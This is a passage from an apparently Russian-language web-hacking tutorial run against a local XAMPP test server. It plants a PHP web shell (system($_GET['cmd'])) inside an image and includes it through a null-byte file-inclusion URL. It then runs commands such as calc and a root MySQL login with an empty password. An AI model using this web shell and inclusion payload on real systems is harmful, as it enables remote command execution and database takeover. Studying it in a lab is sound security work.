В самом изображении можно вызывать функции командной строки. Тогда получим полноценный хакерский web-шелл:
system($_GET['cmd']);
Таким образом на стороне сервера, с помощью get-параметра cmd можно выполнить любую команду из командной строки. Давайте откроем калькулятор.
http://127.0.0.1/test/sto.php?page=../skype.jpg%00&cmd=calc
На фоне кода изображения откроется калькулятор:
Чтобы выполнить команды с пробелами, нужно между пробелов вставлять %20, либо заменить их на +.
Теперь, с помощью нашего web-шелла попробуем проникнуть на сервер MySQL.
http://127.0.0.1/test/sto.php?page=../skype.jpg%00&cmd=C:\xampp\mysql\bin\mysql.exe+--user=root+--password=+-?
Пояснения:
C:\xampp\mysql\bin\mysql.exe — заходим на ссервер MySQL
--user=root – выбираем суперпользователя root.
--password= – сюда вставляем пароль суперпользователя. У нас это значение пустое, потому что по умолчанию в XAMPP пароля у root нет.
-? - данная команда вызывает help MySQL.